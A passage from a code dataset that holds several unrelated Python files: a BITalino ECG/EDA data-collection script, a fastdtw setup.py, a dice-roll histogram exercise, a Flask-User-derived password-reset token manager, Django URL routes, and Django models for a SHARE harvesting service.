write_to_file(filename,raw_data):\n with open(filename, 'ab') as f:\n for line in raw_data:\n a = numpy.array(line)\n np.savetxt(f, a.reshape(1, a.shape[0]) , delimiter=',' ,fmt=\"%5f\")\n\ndef bitalino_data_collection():\n '''\n The core function of the file.\n :return:\n '''\n\n Fs = float(int(samplingRate))\n\n szplot = 500 # to show the plot (show for last) # our window size!\n\n # Connect to BITalino\n device = BITalino(macAddress)\n print(\"device connected to bitalino\")\n\n # Set battery threshold\n device.battery(batteryThreshold)\n\n\n # Start Acquisition\n device.start(samplingRate, acqChannels)\n\n\n # time initialization\n timeend = 0.0\n timeinit = 0.0 # initial time\n timeend += float(nSamples) / float(samplingRate) # end time ( in our case its 100/1000 = 0.1 sec)\n time_elapsed = []\n\n ecg = []\n eda = []\n peakind = [] # for peak detection\n\n ecg_data = []\n eda_data = []\n\n\n # plotting\n if(plot) :\n fig = plt.figure(figsize=(12, 8), dpi=80, facecolor='w', edgecolor='k')\n ax = fig.add_subplot(111)\n\n plt.ion()\n plt.xlabel('Time (seconds)')\n line0, = ax.plot(time_elapsed, ecg_data, 'y-', label='RAW data') # raw data\n line1, = ax.plot(time_elapsed, ecg, 'b-' , alpha=0.3, label='detrended RAW data') # raw data\n line2, = ax.plot(time_elapsed, ecg, 'g-', alpha=0.7 ,label='filtered data') # to represent teh filtered data\n line3, = ax.plot(time_elapsed, ecg, 'ro' , label='detected peak') # peaks\n fig.show()\n fig.canvas.draw()\n\n\n fig1 = plt.figure(figsize=(12, 8), dpi=80, facecolor='w', edgecolor='k')\n ax_eda = fig1.add_subplot(111)\n plt.ion()\n plt.xlabel('Time (seconds)')\n plt.ylabel('Conductance (microSiemens)')\n line, = ax_eda.plot(time_elapsed, eda, 'r-' , label='eda RAW') # peaks\n lineeda1, = ax_eda.plot(time_elapsed, eda, 'b-', label=' eda filtered') # peaks\n fig1.show()\n fig1.canvas.draw()\n\n\n filename = 'raw_data/recording_'+ str(datetime.datetime.now()) + '.txt'\n\n try:\n # indefinite signal capture\n while 1:\n # read data from the device\n received_data = device.read(nSamples)\n\n if(save_raw_data):\n write_to_file(filename,received_data)\n\n ecg_data = np.concatenate((ecg_data, ecg_bin_to_millivolts(received_data[:, -1])), axis=0)\n eda_data = np.concatenate((eda_data, eda_bin_to_microsiemens(received_data[:, -2])), axis=0)\n\n\n # we detrend the data for heart rate\n ecg = signal.detrend(ecg_data)\n\n # we convert the data from binary to micro siemens.\n eda_raw = eda_data\n\n # highpassfilter for EDA\n ale,ble = butter_highpass(0.05, Fs) # high pass cutoff = 0.05 Hz\n eda = signal.filtfilt(ale, ble, eda_raw);\n\n\n #bandpassfilter for ECG\n ale,ble = butter_bandpass(lowcut, highcut , Fs)\n ecg_filtered = signal.filtfilt(ale, ble, ecg);\n\n\n # update time\n time_elapsed = np.concatenate((time_elapsed, np.linspace(timeinit, timeend, nSamples + 1)[1:]), 0)\n timeinit = time_elapsed[-1]\n timeend += float(nSamples) / float(samplingRate)\n\n\n # update plot everytime you recive the data\n # note that we show the user past 500 data samples and hence data from past 0.5 second = 500 msec(millisec)\n x = time_elapsed[-szplot:]\n y_raw = ecg[-szplot:]\n y_filtered = ecg_filtered[-szplot:]\n\n # we now find peaks for past 0.5 seconds ( R peak detection)\n peakind = getpeak(y_filtered, x) # METHOD 1\n\n\n # some adjustments to plot the data\n x_peaks = [x[i] for i in peakind] # peak time\n y_peaks = [y_filtered[i] for i in peakind] # peak value\n\n\n heart_rate = get_time_domain_features(y_filtered, peakind,Fs)\n\n\n if math.isnan(heart_rate):\n heart_rate= 40\n\n\n if (plot):\n line0.set_data(x, ecg_data[-szplot:])\n line1.set_data(x,y_raw)\n line2.set_data(x, y_filtered)\n line3.set_data(x_peaks,y_peaks)\n # line4.set_data(x_peaks_hamilton, y_peaks_hamilton)\n\n ax.relim()\n ax.autoscale_view()\n fig.canvas.draw()\n ax.legend(loc='upper right',handles=[line0,line1,line2,line3]) # to add the legend.\n plt.draw()\n\n line.set_data(x, eda_raw[-szplot:])\n lineeda1.set_data(x,eda[-szplot:])\n ax_eda.relim()\n ax_eda.autoscale_view()\n fig1.canvas.draw()\n ax_eda.legend(loc='upper right',handles=[line,lineeda1]) # to add the legend.\n plt.draw()\n\n # send data to server as a json\n # note we send the last 500\n #{ \"ecg\" : \"[data]\" ,\n # \"fatures\" = [hr,other?],\n # \"eda\" = \"[eda data]\"\n # }\n ##############################\n data_as_json = \"{ \\\"ecg\\\" : \"\n data_as_json = data_as_json + tostring(y_filtered) + ','\n data_as_json = data_as_json + \" \\\"ecg_features\\\" : \" + str(heart_rate) + '}'\n\n\n # we initially send ecg data\n if send_flag:\n send_to_server(data_as_json)\n\n # prep eda data\n eda_data_as_json = \"{ \\\"eda\\\" : \"\n eda_data_as_json = eda_data_as_json + tostring(eda[-szplot:]) + '}'\n\n if send_flag:\n send_to_server(eda_data_as_json)\n\n print('data sent to the web server...')\n\n except KeyboardInterrupt:\n print(\"Keyboard interupted\")\n # Turn BITalino led on\n device.trigger(digitalOutput)\n # Stop acquisition\n device.stop()\n # Close connection\n device.close()\n\ndef usage(message):\n print(\"\"\"\n\n Usage: pyhton3 collect_data [OPTIONS] -c CONFIGFILE\n\n -c FILENAME, --configfile FILENAME Use FILENAME for configuration\n -h, --help Show help\n \"\"\")\n\n if(message):\n print(\"\\nERROR: \" + message + \"\\n\\n\")\n sys.exit(2)\n\n\ndef main():\n global WEB_HOST_ADDRESS\n global WEB_PORT\n try:\n opts, args = getopt.getopt(sys.argv[1:], \"hc:d\", [\"help\", \"configfile=\"])\n except getopt.GetoptError as err:\n # print help information and exit:\n print(err) # will print something like \"option -a not recognized\"\n usage()\n\n configfile = None\n for o, a in opts:\n if o in (\"-h\", \"--help\"):\n usage()\n elif o in (\"-c\", \"--configfile\"):\n configfile = a\n else:\n assert False, \"unhandled option\"\n\n if(configfile is None):\n usage(\"Missing configfile\")\n if(not os.path.exists(configfile)):\n usage(\"Cannot open file \" + configfile)\n\n # read the config file.\n print(\"Using config file : \" + configfile)\n config = configparser.ConfigParser()\n config.read(configfile)\n\n WEB_HOST_ADDRESS = config.get(\"Server\", \"Listen\")\n WEB_PORT = config.get(\"Server\", \"Port\")\n\n WEB_HOST_ADDRESS = str(WEB_HOST_ADDRESS)\n print(WEB_HOST_ADDRESS, WEB_PORT)\n\n\n print(macAddress,running_time,batteryThreshold,acqChannels,samplingRate,nSamples)\n print(\"data collection process strated\")\n bitalino_data_collection()\n\n\n\nif __name__ == \"__main__\":\n\n main()", "sub_path": "collect_data.py", "file_name": "collect_data.py", "file_ext": "py", "file_size_in_byte": 11867, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "numpy.shape", "line_number": 53, "usage_type": "call"}, {"api_name": "socket.socket", "line_number": 76, "usage_type": "call"}, {"api_name": "scipy.signal.butter", "line_number": 91, "usage_type": "call"}, {"api_name": "scipy.signal", "line_number": 91, "usage_type": "name"}, {"api_name": "scipy.signal.butter", "line_number": 97, "usage_type": "call"}, {"api_name": "scipy.signal", "line_number": 97, "usage_type": "name"}, {"api_name": "peakutils.indexes", "line_number": 105, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 125, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 178, "usage_type": "call"}, {"api_name": "numpy.savetxt", "line_number": 179, "usage_type": "call"}, {"api_name": "local_bitalino.BITalino", "line_number": 192, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 219, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 219, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ion", "line_number": 222, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 222, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 223, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 223, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 232, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 232, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ion", "line_number": 234, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 234, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 235, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 235, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 236, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 236, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 243, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 243, "usage_type": "attribute"}, {"api_name": "numpy.concatenate", "line_number": 254, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 255, "usage_type": "call"}, {"api_name": "scipy.signal.detrend", "line_number": 259, "usage_type": "call"}, {"api_name": "scipy.signal", "line_number": 259, "usage_type": "name"}, {"api_name": "scipy.signal.filtfilt", "line_number": 266, "usage_type": "call"}, {"api_name": "scipy.signal", "line_number": 266, "usage_type": "name"}, {"api_name": "scipy.signal.filtfilt", "line_number": 271, "usage_type": "call"}, {"api_name": "scipy.signal", "line_number": 271, "usage_type": "name"}, {"api_name": "numpy.concatenate", "line_number": 275, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 275, "usage_type": "call"}, {"api_name": "math.isnan", "line_number": 298, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.draw", "line_number": 313, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 313, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.draw", "line_number": 321, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 321, "usage_type": "name"}, {"api_name": "sys.exit", "line_number": 368, "usage_type": "call"}, {"api_name": "getopt.getopt", "line_number": 375, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 375, "usage_type": "attribute"}, {"api_name": "getopt.GetoptError", "line_number": 376, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 392, "usage_type": "call"}, {"api_name": "os.path", "line_number": 392, "usage_type": "attribute"}, {"api_name": "configparser.ConfigParser", "line_number": 397, "usage_type": "call"}]} +{"seq_id": "164633444", "text": "from setuptools import setup, find_packages, Extension\nimport os.path\nimport warnings\n\nclassifiers = [\n 'Programming Language :: Python :: 2',\n 'Programming Language :: Python :: 3',\n 'Intended Audience :: Science/Research',\n 'License :: OSI Approved :: MIT License',\n 'Topic :: Scientific/Engineering'\n]\n\nextensions = [Extension(\n 'fastdtw._fastdtw',\n [os.path.join('fastdtw', \"_fastdtw.pyx\")],\n language=\"c++\",\n include_dirs=[],\n libraries=[\"stdc++\"]\n )]\n\nkwargs = {\n 'name': 'fastdtw',\n 'version': '0.3.0',\n 'author': 'Kazuaki Tanida',\n 'url': 'https://github.com/slaypni/fastdtw',\n 'description': 'Dynamic Time Warping (DTW) algorithm with an O(N) time and memory complexity.',\n 'license': 'MIT',\n 'keywords': ['dtw'],\n 'install_requires': ['numpy'],\n 'packages': find_packages(),\n 'ext_modules': extensions,\n 'test_suite': 'tests',\n 'setup_requires': ['pytest-runner'],\n 'tests_require': ['pytest'],\n 'classifiers': classifiers\n}\n\ntry:\n setup(**kwargs)\nexcept SystemExit:\n del kwargs['ext_modules']\n warnings.warn('compilation failed. Installing pure python package')\n setup(**kwargs)\n", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 1198, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "setuptools.Extension", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path.path.join", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 15, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 15, "usage_type": "name"}, {"api_name": "setuptools.find_packages", "line_number": 30, "usage_type": "call"}, {"api_name": "setuptools.setup", "line_number": 39, "usage_type": "call"}, {"api_name": "warnings.warn", "line_number": 42, "usage_type": "call"}, {"api_name": "setuptools.setup", "line_number": 43, "usage_type": "call"}]} +{"seq_id": "137787049", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun May 7 09:27:08 2017\n\n@author: newuser\n\"\"\"\n\nimport random, pylab\nfrom matplotlib import pyplot, pylab\n\n# You are given this function\ndef getMeanAndStd(X):\n mean = sum(X)/float(len(X))\n tot = 0.0\n for x in X:\n tot += (x - mean)**2\n std = (tot/len(X))**0.5\n return mean, std\n\n# You are given this class\nclass Die(object):\n def __init__(self, valList):\n \"\"\" valList is not empty \"\"\"\n self.possibleVals = valList[:]\n def roll(self):\n return random.choice(self.possibleVals)\n\n# Implement this -- Coding Part 1 of 2\ndef makeHistogram(values, numBins, xLabel, yLabel, title=None):\n \"\"\"\n - values, a sequence of numbers\n - numBins, a positive int\n - xLabel, yLabel, title, are strings\n - Produces a histogram of values with numBins bins and the indicated labels\n for the x and y axis\n - If title is provided by caller, puts that title on the figure and otherwise\n does not title the figure\n \"\"\"\n \n\n pylab.hist(values, bins = numBins)\n\n pylab.xlabel(xLabel)\n pylab.ylabel(yLabel)\n\n if title != None:\n pylab.title(title)\n\n pylab.show()\n \n#makeHistogram([21,20,19,1,2,2,2,5,6,6,9,10], 5, \"Aaaaa\", \"Bbbbb\", \"Ccccc\")\n \n# Implement this -- Coding Part 2 of 2\ndef getAverage1(die, numRolls, numTrials):\n \"\"\"\n - die, a Die\n - numRolls, numTrials, are positive ints\n - Calculates the expected mean value of the longest run of a number\n over numTrials runs of numRolls rolls.\n - Calls makeHistogram to produce a histogram of the longest runs for all\n the trials. There should be 10 bins in the histogram\n - Choose appropriate labels for the x and y axes.\n - Returns the mean calculated\n \"\"\"\n \n results = []\n mean_list = []\n \n for trial in range(numTrials):\n roll_list = []\n best_run = (0,0)\n \n for roll in range(numRolls):\n roll_list.append(die.roll())\n \n for i in roll_list:\n candidate = (i, roll_list.count(i))\n if candidate[1] > best_run[1]:\n best_run = candidate\n \n for i in range(best_run[1]): \n mean_list.append(best_run[0])\n \n results.append(best_run[0])\n \n# mean_list.append(sum(roll_list)/len(roll_list))\n print(roll_list)\n\n print(mean_list)\n print(results)\n \n makeHistogram(results, numBins = 10, xLabel = 'Longest run', yLabel = '# occurances')\n \n# return sum(mean_list)/len(mean_list)\n return sum(mean_list)/len(mean_list)\n\n\ndef getAverage(die, numRolls, numTrials):\n \"\"\"\n - die, a Die\n - numRolls, numTrials, are positive ints\n - Calculates the expected mean value of the longest run of a number\n over numTrials runs of numRolls rolls.\n - Calls makeHistogram to produce a histogram of the longest runs for all\n the trials. There should be 10 bins in the histogram\n - Choose appropriate labels for the x and y axes.\n - Returns the mean calculated\n \"\"\"\n\n longest_runs = []\n\n for trial in range(numTrials):\n die_rolls = {}\n counter = 1\n \n last_roll = None\n \n for each in die.possibleVals:\n die_rolls[each] = 0\n \n for roll in range(numRolls):\n new_roll = die.roll()\n if new_roll != last_roll:\n counter = 1\n else:\n counter += 1\n if counter > die_rolls[new_roll]:\n die_rolls[new_roll] = counter\n\n last_roll = new_roll\n\n\n longest_runs.append(max(die_rolls.values()))\n# print(die_rolls)\n\n \n makeHistogram(longest_runs, numBins = 10, xLabel = 'Longest run', yLabel = '# occurances')\n# print(longest_runs)\n return sum(longest_runs)/len(longest_runs)\n \n \n \n# One test case\n\n#print(getAverage(Die([1,2,3,4,5,6,6,6,7]), 500, 10000))\n#5.312\n\n#print(getAverage(Die([1,2,3,4,5,6,6,6,7]), 5, 100))\n#?\n\n#print(getAverage(Die([1]), 10, 1000))\n#10.0\n\n#print(getAverage(Die([1,1]), 10, 1000))\n#10.0\n\n#print(getAverage(Die([1,2,3,4,5,6,6,6,7]), 1, 1000))\n#1\n\n#print(getAverage(Die([1,2,3,4,5,6]), 50, 1000))\n#?\n\n\n\n##only use pylab.hist, pylab.title, pylab.xlabel, pylab.ylabel, pylab.show", "sub_path": "Final/die.py", "file_name": "die.py", "file_ext": "py", "file_size_in_byte": 4391, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "random.choice", "line_number": 27, "usage_type": "call"}, {"api_name": "matplotlib.pylab.hist", "line_number": 42, "usage_type": "call"}, {"api_name": "matplotlib.pylab", "line_number": 42, "usage_type": "name"}, {"api_name": "matplotlib.pylab.xlabel", "line_number": 44, "usage_type": "call"}, {"api_name": "matplotlib.pylab", "line_number": 44, "usage_type": "name"}, {"api_name": "matplotlib.pylab.ylabel", "line_number": 45, "usage_type": "call"}, {"api_name": "matplotlib.pylab", "line_number": 45, "usage_type": "name"}, {"api_name": "matplotlib.pylab.title", "line_number": 48, "usage_type": "call"}, {"api_name": "matplotlib.pylab", "line_number": 48, "usage_type": "name"}, {"api_name": "matplotlib.pylab.show", "line_number": 50, "usage_type": "call"}, {"api_name": "matplotlib.pylab", "line_number": 50, "usage_type": "name"}]} +{"seq_id": "274849438", "text": "\"\"\"Tools for building and working with password-reset tokens.\n\nThis file is a modified version of a similar one in Flask-User and the original\nhas the following copyright information:\n :copyright: (c) 2013 by Ling Thio\n :author: Ling Thio (ling.thio@gmail.com)\n :license: Simplified BSD License, see LICENSE.txt for more details.\n\"\"\"\n\nimport base64\nfrom cryptography.hazmat.primitives.ciphers import (\n Cipher,\n algorithms as cipher_algos,\n modes as cipher_modes,\n)\nfrom cryptography.hazmat.backends import default_backend as crypto_backend\nfrom itsdangerous import BadSignature, SignatureExpired, TimestampSigner\n\n\nclass TokenManager(object):\n def __init__(self, secret, timestamp_signer=TimestampSigner):\n # Create cypher to encrypt IDs and ensure >=16 characters\n\n key = secret\n if not isinstance(key, bytes):\n key = secret.encode(\"utf-8\")\n if len(key) < 16:\n raise ValueError('Key must be at least 16 bytes long')\n self.cipher = Cipher(cipher_algos.AES(key[:16]), cipher_modes.ECB(), crypto_backend())\n self.signer = timestamp_signer(secret)\n\n def encrypt(self, data):\n \"\"\"Encrypts data to url-safe base64 string.\"\"\"\n padded = data + (b' ' * (16 - (len(data) % 16)))\n encryptor = self.cipher.encryptor()\n encrypted = encryptor.update(padded)\n base64ed = base64.urlsafe_b64encode(encrypted) # URL safe base64 string with '=='\n return base64ed[0:-2] # base64 string without '=='\n\n def decrypt(self, encrypted_data):\n \"\"\"Decrypts url-safe base64 string to original data.\n\n :param encrypted_data: must be bytes.\n \"\"\"\n try:\n base64ed = encrypted_data + b'==' # base64 string with '=='\n encrypted = base64.urlsafe_b64decode(base64ed) # encrypted data\n decryptor = self.cipher.decryptor()\n padded = decryptor.update(encrypted)\n return padded.strip()\n except Exception as e: # pragma: no cover\n print('!!!Exception in decrypt!!!:', e)\n return None\n\n def generate_token(self, data):\n \"\"\"Return token with data, timestamp, and signature\"\"\"\n # In Python3 we must make sure that bytes are converted to strings.\n # Hence the addition of '.decode()'\n return self.signer.sign(self.encrypt(data)).decode()\n\n def verify_token(self, token, expiration_timedelta):\n \"\"\"Verify token and return (has_expired, data).\n\n :param token: is the full token string as generated by `generate_token`.\n :param expiration_timedelta: is a `datetime.timedelta` describing how old the toen\n may be.\n\n :returns: `(False, data)` on success.\n `(False, None)` on bad data.\n `(True, None)` on expired token.\n \"\"\"\n try:\n data = self.signer.unsign(token, max_age=expiration_timedelta.total_seconds())\n return (False, self.decrypt(data))\n except SignatureExpired:\n return (True, None)\n except BadSignature:\n return (False, None)\n", "sub_path": "keg_bouncer/tokens.py", "file_name": "tokens.py", "file_ext": "py", "file_size_in_byte": 3181, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "itsdangerous.TimestampSigner", "line_number": 21, "usage_type": "name"}, {"api_name": "cryptography.hazmat.primitives.ciphers.Cipher", "line_number": 29, "usage_type": "call"}, {"api_name": "cryptography.hazmat.primitives.ciphers.algorithms.AES", "line_number": 29, "usage_type": "call"}, {"api_name": "cryptography.hazmat.primitives.ciphers.algorithms", "line_number": 29, "usage_type": "name"}, {"api_name": "cryptography.hazmat.primitives.ciphers.modes.ECB", "line_number": 29, "usage_type": "call"}, {"api_name": "cryptography.hazmat.primitives.ciphers.modes", "line_number": 29, "usage_type": "name"}, {"api_name": "cryptography.hazmat.backends.default_backend", "line_number": 29, "usage_type": "call"}, {"api_name": "base64.urlsafe_b64encode", "line_number": 37, "usage_type": "call"}, {"api_name": "base64.urlsafe_b64decode", "line_number": 47, "usage_type": "call"}, {"api_name": "itsdangerous.SignatureExpired", "line_number": 75, "usage_type": "name"}, {"api_name": "itsdangerous.BadSignature", "line_number": 77, "usage_type": "name"}]} +{"seq_id": "195181301", "text": "from django.conf.urls import patterns, include, url\nfrom django.contrib import admin\n\nurlpatterns = patterns('',\n url(r'^$', include('apps.home.urls')),\n url(r'^feed/(.*)/', include('apps.feed.urls')),\n url(r'^feed/(.*)/json', include('apps.feed_json.urls')),\n url(r'^sidepanel/$', include('apps.side_panel.urls')),\n url(r'^admin/', include(admin.site.urls)),\n)\n", "sub_path": "Feed/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 397, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "django.conf.urls.patterns", "line_number": 4, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 5, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 5, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 6, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 6, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 7, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 7, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 8, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 8, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 9, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 9, "usage_type": "call"}, {"api_name": "django.contrib.admin.site", "line_number": 9, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 9, "usage_type": "name"}]} +{"seq_id": "285896218", "text": "import contextlib\nimport datetime\nimport logging\nfrom typing import Optional\n\nfrom django.core import validators\nfrom django.core.files.base import ContentFile\nfrom django.core.files.storage import Storage\nfrom django.db import DEFAULT_DB_ALIAS\nfrom django.db import connection\nfrom django.db import connections\nfrom django.db import models\nfrom django.db.models.functions import Coalesce\nfrom django.urls import reverse\nfrom django.utils import timezone\nfrom django.utils.deconstruct import deconstructible\n\nfrom share.models.fields import EncryptedJSONField\nfrom share.models.fuzzycount import FuzzyCountManager\nfrom share.util import chunked, placeholders, BaseJSONAPIMeta\nfrom share.util.extensions import Extensions\n\n\nlogger = logging.getLogger(__name__)\n__all__ = ('Source', 'RawDatum', 'SourceConfig', 'Harvester', 'Transformer', 'SourceUniqueIdentifier')\n\n\nclass SourceIcon(models.Model):\n source_name = models.TextField(unique=True)\n image = models.BinaryField()\n\n\n@deconstructible\nclass SourceIconStorage(Storage):\n def _open(self, name, mode='rb'):\n assert mode == 'rb'\n icon = SourceIcon.objects.get(source_name=name)\n return ContentFile(icon.image)\n\n def _save(self, name, content):\n SourceIcon.objects.update_or_create(source_name=name, defaults={'image': content.read()})\n return name\n\n def delete(self, name):\n SourceIcon.objects.get(source_name=name).delete()\n\n def get_available_name(self, name, max_length=None):\n return name\n\n def url(self, name):\n return reverse('source_icon', kwargs={'source_name': name})\n\n\ndef icon_name(instance, filename):\n return instance.name\n\n\nclass NaturalKeyManager(models.Manager):\n use_in_migrations = True\n\n def __init__(self, *key_fields):\n super(NaturalKeyManager, self).__init__()\n self.key_fields = key_fields\n\n def get_by_natural_key(self, key):\n return self.get(**dict(zip(self.key_fields, key)))\n\n\nclass Source(models.Model):\n name = models.TextField(unique=True)\n long_title = models.TextField(unique=True)\n home_page = models.URLField(null=True, blank=True)\n icon = models.ImageField(upload_to=icon_name, storage=SourceIconStorage(), blank=True)\n is_deleted = models.BooleanField(default=False)\n\n # Whether or not this SourceConfig collects original content\n # If True changes made by this source cannot be overwritten\n # This should probably be on SourceConfig but placing it on Source\n # is much easier for the moment.\n # I also haven't seen a situation where a Source has two feeds that we harvest\n # where one provider unreliable metadata but the other does not.\n canonical = models.BooleanField(default=False, db_index=True)\n\n # TODO replace with object permissions, allow multiple sources per user (SHARE-996)\n user = models.OneToOneField('ShareUser', null=True, on_delete=models.CASCADE)\n\n objects = NaturalKeyManager('name')\n\n class JSONAPIMeta(BaseJSONAPIMeta):\n pass\n\n def natural_key(self):\n return (self.name,)\n\n def __repr__(self):\n return '<{}({}, {}, {})>'.format(self.__class__.__name__, self.pk, self.name, self.long_title)\n\n def __str__(self):\n return repr(self)\n\n\nclass SourceConfigManager(NaturalKeyManager):\n def get_or_create_push_config(self, user, transformer_key):\n config_label = '{}.{}'.format(user.username, transformer_key)\n try:\n return SourceConfig.objects.get(label=config_label)\n except SourceConfig.DoesNotExist:\n source, _ = Source.objects.get_or_create(\n user=user,\n defaults={\n 'name': user.username,\n 'long_title': user.username,\n }\n )\n config, _ = SourceConfig.objects.get_or_create(\n label=config_label,\n defaults={\n 'source': source,\n 'transformer': Transformer.objects.get(key=transformer_key),\n }\n )\n return config\n\n\nclass SourceConfig(models.Model):\n # Previously known as the provider's app_label\n label = models.TextField(unique=True)\n version = models.PositiveIntegerField(default=1)\n\n source = models.ForeignKey('Source', on_delete=models.CASCADE, related_name='source_configs')\n base_url = models.URLField(null=True)\n earliest_date = models.DateField(null=True, blank=True)\n rate_limit_allowance = models.PositiveIntegerField(default=5)\n rate_limit_period = models.PositiveIntegerField(default=1)\n\n # Allow null for push sources\n harvester = models.ForeignKey('Harvester', null=True, on_delete=models.CASCADE)\n harvester_kwargs = models.JSONField(null=True, blank=True)\n harvest_interval = models.DurationField(default=datetime.timedelta(days=1))\n harvest_after = models.TimeField(default='02:00')\n full_harvest = models.BooleanField(default=False, help_text=(\n 'Whether or not this SourceConfig should be fully harvested. '\n 'Requires earliest_date to be set. '\n 'The schedule harvests task will create all jobs necessary if this flag is set. '\n 'This should never be set to True by default. '\n ))\n\n # Allow null for push sources\n # TODO put pushed data through a transformer, add a JSONLDTransformer or something for backward compatibility\n transformer = models.ForeignKey('Transformer', null=True, on_delete=models.CASCADE)\n transformer_kwargs = models.JSONField(null=True, blank=True)\n\n regulator_steps = models.JSONField(null=True, blank=True)\n\n disabled = models.BooleanField(default=False)\n\n private_harvester_kwargs = EncryptedJSONField(blank=True, null=True)\n private_transformer_kwargs = EncryptedJSONField(blank=True, null=True)\n\n objects = SourceConfigManager('label')\n\n class JSONAPIMeta(BaseJSONAPIMeta):\n pass\n\n def natural_key(self):\n return (self.label,)\n\n def get_harvester(self, **kwargs):\n \"\"\"Return a harvester instance configured for this SourceConfig.\n\n **kwargs: passed to the harvester's initializer\n \"\"\"\n return self.harvester.get_class()(self, **kwargs)\n\n def get_transformer(self, **kwargs):\n \"\"\"Return a transformer instance configured for this SourceConfig.\n\n **kwargs: passed to the transformer's initializer\n \"\"\"\n return self.transformer.get_class()(self, **kwargs)\n\n @contextlib.contextmanager\n def acquire_lock(self, required=True, using='default'):\n from share.harvest.exceptions import HarvesterConcurrencyError\n\n # NOTE: Must be in transaction\n logger.debug('Attempting to lock %r', self)\n with connections[using].cursor() as cursor:\n cursor.execute(\"SELECT pg_try_advisory_lock(%s::regclass::integer, %s);\", (self._meta.db_table, self.id))\n locked = cursor.fetchone()[0]\n if not locked and required:\n logger.warning('Lock failed; another task is already harvesting %r.', self)\n raise HarvesterConcurrencyError('Unable to lock {!r}'.format(self))\n elif locked:\n logger.debug('Lock acquired on %r', self)\n else:\n logger.warning('Lock not acquired on %r', self)\n try:\n yield\n finally:\n if locked:\n cursor.execute(\"SELECT pg_advisory_unlock(%s::regclass::integer, %s);\", (self._meta.db_table, self.id))\n logger.debug('Lock released on %r', self)\n\n def __repr__(self):\n return '<{}({}, {})>'.format(self.__class__.__name__, self.pk, self.label)\n\n __str__ = __repr__\n\n\nclass Harvester(models.Model):\n key = models.TextField(unique=True)\n date_created = models.DateTimeField(auto_now_add=True)\n date_modified = models.DateTimeField(auto_now=True)\n\n objects = NaturalKeyManager('key')\n\n @property\n def version(self):\n return self.get_class().VERSION\n\n def natural_key(self):\n return (self.key,)\n\n def get_class(self):\n return Extensions.get('share.harvesters', self.key)\n\n def __repr__(self):\n return '<{}({}, {})>'.format(self.__class__.__name__, self.pk, self.key)\n\n def __str__(self):\n return repr(self)\n\n\nclass Transformer(models.Model):\n key = models.TextField(unique=True)\n date_created = models.DateTimeField(auto_now_add=True)\n date_modified = models.DateTimeField(auto_now=True)\n\n objects = NaturalKeyManager('key')\n\n @property\n def version(self):\n return self.get_class().VERSION\n\n def natural_key(self):\n return (self.key,)\n\n def get_class(self):\n return Extensions.get('share.transformers', self.key)\n\n def __repr__(self):\n return '<{}({}, {})>'.format(self.__class__.__name__, self.pk, self.key)\n\n def __str__(self):\n return repr(self)\n\n\nclass SourceUniqueIdentifier(models.Model):\n identifier = models.TextField()\n source_config = models.ForeignKey('SourceConfig', on_delete=models.CASCADE)\n\n class JSONAPIMeta(BaseJSONAPIMeta):\n pass\n\n class Meta:\n unique_together = ('identifier', 'source_config')\n\n @property\n def ingest_job(self):\n \"\"\"fetch the most recent IngestJob for this suid\n\n (hopefully) temporary -- will be replaced by the inverse relation of a OneToOneField on IngestJob\n \"\"\"\n return self.ingest_jobs.order_by(\n Coalesce('date_started', 'date_created').desc(nulls_last=True)\n ).first()\n\n def most_recent_raw_datum(self):\n \"\"\"fetch the most recent RawDatum for this suid\n 